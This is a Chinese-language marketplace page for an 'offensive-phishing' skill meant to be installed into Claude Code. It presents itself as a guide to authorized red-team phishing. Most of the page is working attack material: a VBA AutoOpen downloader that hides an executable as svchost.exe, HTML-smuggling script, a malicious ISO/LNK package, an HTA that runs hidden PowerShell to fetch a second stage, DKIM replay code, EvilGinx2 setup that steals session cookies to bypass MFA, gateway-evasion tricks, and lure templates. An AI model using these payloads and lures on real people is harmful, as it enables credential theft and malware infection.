offensive-phishing

Name: offensive-phishing
Author: snailsploit

github.com/snailsploit安全9.7k130 次安装2 周前更新

代码仓库

关于 offensive-phishing

用于授权邮件钓鱼评估的技能，面向测试组织人员意识与技术防御的团队。内容涵盖活动基础设施、邮件与载荷方式、凭据测试及结果记录。

主要功能

01钓鱼基础设施与 DNS 配置
02GoPhish 活动设置
03诱饵情境与落地页准备
04邮件载荷投递方式
05凭据与 MFA 绕过测试
06活动监控与报告

适用场景

01开展授权的安全意识评估
02测试邮件网关与认证控制
03衡量活动响应和凭据暴露情况

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-phishing

安装后在 Claude Code 中输入/offensive-phishing确认已加载。

详细介绍

钓鱼攻击

在红队演练中，钓鱼仍然是最可靠的初始访问途径。你正在模拟真实的攻击者——你的基础设施、借口和载荷必须经得起与目标组织的入站邮件安全防护同等严格的审查。本技能将指导你构建钓鱼活动，以测试组织针对电子邮件社会工程攻击的人力和技术防御能力。

此处的每项技术都以你已获得明确的书面授权为前提。发送第一封邮件之前，请记录测试范围、目标名单和升级处理流程。

快速工作流

在演练开始前 4-8 周注册一个相似域名；配置 DNS 记录，确保 SPF、DKIM 和 DMARC 对齐。
在专用基础设施上部署 GoPhish；配置通过信誉良好的服务提供商或自托管 MTA 中继 SMTP。
根据 OSINT 制定借口——组织公告、供应商关系和内部流程。
构建或克隆落地页；如果测试范围包含 MFA 绕过，则部署 EvilGinx2 phishlets。
根据目标的电子邮件安全防护状况制作匹配的载荷（启用宏的文档、HTML 走私、ISO 容器）。
先向自己的账户发送测试邮件；验证渲染效果、链接跟踪和载荷投递情况。
分批次启动活动；通过 GoPhish 仪表板监控打开、点击和凭据提交情况。
为最终报告记录调查结果、时间戳、屏幕截图和受影响用户数量。

基础设施配置

发送基础设施决定邮件是进入收件箱还是被隔离。应将基础设施部署视为每次钓鱼活动的基础。

域名注册与养护

注册在视觉或语义上与目标相似的域名。使用形近字符替换（用 rn 代替 m、用 vv 代替 w）、替换顶级域名（用 .net 代替 .com）以及添加连字符的变体，都很有效。在用于钓鱼活动之前，先用无害内容和低发送量的合法邮件养护该域名至少两周。

# Check domain availability and WHOIS history
whois targetcorp-portal.com
# Verify no existing reputation flags
dig +short targetcorp-portal.com @8.8.8.8

# Generate homoglyph candidates with dnstwist
dnstwist --registered targetcorp.com

DNS 和电子邮件身份验证记录

正确配置 SPF、DKIM 和 DMARC 记录是硬性要求。缺少这些记录，大多数现代电子邮件网关会直接拒收或隔离你的邮件。

# SPF record -- authorize your sending IP
# Add as TXT record on your phishing domain:
# v=spf1 ip4:203.0.113.50 -all

# Generate DKIM keys (2048-bit RSA)
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048

# DMARC record -- set policy to none during warmup
# _dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:[email protected]"

# Verify DNS propagation
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com

GoPhish 部署

GoPhish 是标准的开源钓鱼框架。在配备有效 TLS 证书的 VPS 上部署。

# Download and extract GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish

# Generate TLS certificate with Let's Encrypt
certbot certonly --standalone -d phish.targetcorp-portal.com

# Configure GoPhish (config.json)
cat <<'EOF' > /opt/gophish/config.json
{
  "admin_server": {
    "listen_url": "0.0.0.0:3333",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:443",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  }
}
EOF

# Start GoPhish
cd /opt/gophish && ./gophish &

SMTP 配置

自托管 Postfix，或通过 Amazon SES、Mailgun 或 SendGrid 中继。自托管可让你完全掌控，但需要谨慎管理 IP 信誉。

# Postfix main.cf essentials for phishing relay
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"

systemctl restart postfix

载荷投递途径

根据目标的电子邮件网关能力匹配载荷。如果组织会剥离宏，则改用 HTML 走私或 ISO 容器。

Office 宏载荷

虽然是经典方法，但对于允许启用宏文档的组织仍然有效。使用 VBA 踩踏移除可读源代码，同时保留 p-code。

' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
    Dim url As String
    Dim path As String
    url = "https://cdn.targetcorp-portal.com/update.exe"
    path = Environ("TEMP") & "\svchost.exe"
    
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.send
    
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write xhr.responseBody
    stream.SaveToFile path, 2
    stream.Close
    
    Shell path, vbHide
End Sub

HTML 走私

通过在 JavaScript 中编码载荷并在客户端重构载荷来绕过电子邮件网关。邮件仅包含 HTML——没有供网关扫描的附件。


<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
    arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

ISO/IMG 容器滥用

ISO 和 IMG 文件会在 Windows 10/11 上自动挂载，从而绕过 Mark-of-the-Web 保护。在容器中打包一个指向内嵌 DLL 或可执行文件的 LNK 文件。

# Create an ISO with a malicious LNK and hidden payload
# First, prepare the directory structure
mkdir -p /tmp/iso_payload
cp payload.dll /tmp/iso_payload/
# Create an LNK that executes the DLL via rundll32
# (use pylnk3 or mklnk for programmatic LNK creation)

python3 -c "
import pylnk3
lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\rundll32.exe'
lnk.arguments = r'payload.dll,DllMain'
lnk.icon_file = r'C:\Windows\System32\shell32.dll'
lnk.icon_index = 1
lnk.save('/tmp/iso_payload/Q3-Report.lnk')
"

# Generate the ISO
mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/

OneNote 内嵌载荷

OneNote 文件（.one）可以嵌入脚本、可执行文件和 HTA 文件。用户会看到“Double-click to open”提示。对于会阻止 Office 宏的环境，此方法很有效。

# Use o365creeper or custom tooling to craft .one files
# OneNote payload embedding approach:
# 1. Create a legitimate-looking OneNote page
# 2. Embed a malicious HTA or BAT file as an attachment
# 3. Place a visual overlay instructing the user to "double-click to view"

# Example HTA payload embedded in OneNote
cat <<'HTAEOF' > payload.hta
<html>
<head>
<script language="VBScript">
Sub Window_onLoad
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0
    window.close
End Sub
</script>
</head>
</html>
HTAEOF

绕过电子邮件身份验证

了解电子邮件身份验证机制，有助于利用严格策略与实际执行之间的漏洞。

利用 SPF Softfail

许多组织配置 SPF 时使用 ~all（softfail），而非 -all（hardfail）。Softfail 邮件会被标记，但通常仍会投递，尤其是在同时通过有效 DKIM 验证时。

# Check target's SPF record for softfail
dig TXT targetcorp.com | grep spf

# If ~all is present, send from any IP -- the message gets tagged
# but typically passes through to the inbox
# Combine with valid DKIM on your own domain for best results

DKIM 重放攻击

通过使用 DKIM 签名的服务发送一封合法邮件，然后修改信封标头并重放已签名的邮件正文。

# DKIM replay concept
# 1. Send a message through a legitimate service (e.g., a newsletter platform)
#    that DKIM-signs with a domain the target trusts
# 2. Capture the raw signed message
# 3. Modify the envelope From/To while preserving the DKIM-signed body

import smtplib
from email import message_from_file

# Load the captured DKIM-signed message
with open("signed_message.eml", "r") as f:
    msg = message_from_file(f)

# Modify envelope (not headers) and relay
with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp:
    smtp.starttls()
    smtp.sendmail(
        "[email protected]",   # envelope from
        "[email protected]",          # envelope to
        msg.as_string()                   # original DKIM-signed content
    )

显示名称欺骗和同形异义域名

最简单的绕过方法——将显示名称设置为与可信发件人相同。大多数邮件客户端会突出显示显示名称，并隐藏实际地址。

From: "IT Security Team <[email protected]>" <[email protected]>
Subject: Mandatory Password Reset - Action Required

Combined with a homoglyph domain:
  targetcorp.com  vs  targetc0rp.com  (zero for o)
  targetcorp.com  vs  targe7corp.com  (seven for t)
  targetcorp.com  vs  targetcorp.co   (TLD change)

绕过 MFA 的凭据窃取

现代凭据窃取不再局限于克隆登录页面。要绕过 MFA，你需要截获会话令牌。

EvilGinx2 透明代理

EvilGinx2 在受害者与真实身份验证门户之间充当反向代理。它会捕获凭据和会话 Cookie，从而绕过基于 TOTP、推送通知和短信的 MFA。

# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make

# Configure and run
./evilginx2 -p phishlets/

# Inside the EvilGinx2 console:
config domain targetcorp-portal.com
config ipv4 203.0.113.50

# Load the Microsoft 365 phishlet
phishlets hostname o365 login.targetcorp-portal.com
phishlets enable o365

# Create a lure URL
lures create o365
lures get-url 0
# Output: https://login.targetcorp-portal.com/some-path

# When the victim authenticates, EvilGinx2 captures:
# - Username and password
# - Session cookies (bypasses MFA)
# - Authorization tokens

克隆 HTML 登录页面

对于无法使用透明代理的场景，可克隆目标登录页面，并将凭据 POST 到你的收集服务器。

# Clone a login page with wget
wget --mirror --convert-links --page-requisites \
     --no-parent https://login.targetcorp.com/

# Modify the form action to POST to your server
# In the cloned HTML, change:
#   <form action="/auth/login" method="POST">
# To:
#   <form action="https://phish.targetcorp-portal.com/collect" method="POST">

# GoPhish handles this natively -- import the HTML as a landing page
# and GoPhish will intercept form submissions automatically

鱼叉式网络钓鱼与借口编造

大规模网络钓鱼测试的是安全意识；鱼叉式网络钓鱼则测试有动机的攻击者能否攻陷特定的高价值目标。

基于 OSINT 构建借口

利用公开信息构建借口：LinkedIn 个人资料、会议演讲、社交媒体、SEC 文件、招聘信息。

# Gather target intelligence
# LinkedIn scraping for org chart and role identification
theHarvester -d targetcorp.com -b linkedin

# Email format enumeration
python3 -c "
# Common email formats to test
import itertools
first = 'john'
last = 'smith'
domain = 'targetcorp.com'
formats = [
    f'{first}.{last}@{domain}',
    f'{first[0]}{last}@{domain}',
    f'{first}{last[0]}@{domain}',
    f'{first}_{last}@{domain}',
    f'{first}@{domain}',
]
for fmt in formats:
    print(fmt)
"

# Verify emails with SMTP VRFY or RCPT TO
smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com

不同场景下的借口示例

Scenario: IT department password reset
  From: IT Helpdesk <[email protected]>
  Pretext: Annual security compliance requires password rotation.
  Urgency: Account lockout in 24 hours.
  Landing: Cloned SSO portal.

Scenario: Vendor invoice
  From: [email protected] (compromised or spoofed)
  Pretext: Updated banking details for upcoming payment.
  Payload: Macro-enabled Excel "invoice."

Scenario: Shared document notification
  From: DocuSign <[email protected]>
  Pretext: HR document awaiting signature.
  Landing: Credential harvesting page styled as DocuSign.

Scenario: Callback phishing (BazarCall)
  From: [email protected]
  Pretext: Subscription renewal charge of $499.99.
  Action: Call this number to cancel (leads to vishing agent).

邮件过滤器绕过技术

邮件安全网关会检查 URL、附件、标头和内容。你的目标是在不触发检测的情况下送达有效载荷。

规避技术

URL obfuscation:
  - Use URL shorteners (bit.ly, tinyurl) for initial link
  - Redirect chains: benign domain -> 302 -> phishing page
  - Open redirects on trusted domains (Google, Microsoft, Adobe)
  - Time-delayed redirects (serve benign page during sandbox analysis)

Attachment evasion:
  - Password-protected ZIP files (password in email body)
  - Nested archives (ZIP inside ZIP)
  - Rename extensions (.doc.iso, .pdf.lnk)
  - Use less-scrutinized formats (SVG with embedded JS, .url files)

Content evasion:
  - Invisible text / zero-font to confuse NLP classifiers
  - Image-based email body (text rendered as PNG)
  - Base64-encoded body sections
  - Right-to-left override characters in filenames

QR 码钓鱼（Quishing）

邮件正文中的 QR 码可以绕过 URL 扫描器，因为链接编码在图像中，而不是可点击的 href 中。

# Generate a QR code pointing to your phishing URL
import qrcode

url = "https://login.targetcorp-portal.com/auth"
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("mfa_setup_qr.png")

# Embed in an email with pretext:
# "Scan this QR code with your phone to complete MFA enrollment"

检测 / 防御者视角

了解防御者如何检测网络钓鱼，有助于你构建能够真实测试这些防护措施的活动。

控制层	检测方法	攻击者应考虑的因素
邮件网关（Proofpoint、Mimecast）	URL 信誉、附件沙箱、标头分析	使用新注册的域名、延迟触发的有效载荷、加密附件
SPF/DKIM/DMARC 强制策略	身份验证标头验证	确保你的发件域名正确对齐
链接防护（SafeLinks、URL Defense）	重写 URL 并在点击时引爆	使用重定向链，在有效载荷前加入验证码关卡
用户安全意识培训	用户报告的钓鱼邮件、可疑邮件按钮	使用更精巧的借口、鱼叉式网络钓鱼
EDR / 终端控制	阻止有效载荷执行	单独测试有效载荷执行；这不属于钓鱼技能的范围
SIEM / SOC 监控	批量凭据提交警报、异常旅行	错开活动批次，使用住宅代理

防御者应关注：入站邮件中的新注册域名、被标记但仍送达的 DMARC 验证失败、活动期间之后异常的登录地理位置，以及密码重置请求激增。

活动速查表

PRE-ENGAGEMENT
  [ ] Written authorization and scope document signed
  [ ] Target list approved (no out-of-scope individuals)
  [ ] Deconfliction contacts established with blue team (if not blind)
  [ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
  [ ] DNS records configured (SPF, DKIM, DMARC)
  [ ] GoPhish deployed and tested
  [ ] Landing pages cloned and functional
  [ ] Payloads tested against target email gateway (send to yourself first)

EXECUTION
  [ ] Test email sent to operator's own mailbox -- verify rendering
  [ ] Campaign launched in waves (stagger send times)
  [ ] Monitor GoPhish dashboard for opens, clicks, credential captures
  [ ] Screenshot all credential captures with timestamps
  [ ] If callback phishing: vishing team briefed and ready

POST-ENGAGEMENT
  [ ] Campaign stopped; no further emails sent
  [ ] All collected credentials securely stored and reported
  [ ] Infrastructure torn down (domains, servers, GoPhish data)
  [ ] Phishing simulation results compiled with per-department metrics
  [ ] Recommendations: email gateway tuning, DMARC enforcement, user training

主要参考资料

MITRE ATT&CK T1566 -- 网络钓鱼（T1566.001 附件、T1566.002 链接、T1566.003 服务）
GoPhish 文档 -- https://docs.getgophish.com
EvilGinx2 -- https://github.com/kgretzky/evilginx2
King Phisher -- https://github.com/rsmusllp/king-phisher
社会工程工具包（SET）-- https://github.com/trustedsec/social-engineer-toolkit
dnstwist -- 域名排列引擎 -- https://github.com/elceef/dnstwist
NIST SP 800-177 -- 可信电子邮件
RFC 7208（SPF）、RFC 6376（DKIM）、RFC 7489（DMARC）

支持 Markdown

登录后评论

基本信息

作者: snailsploit
仓库: snailsploit/claude-red
分类: 安全
安装次数: 130
GitHub Stars: 9,718

报告问题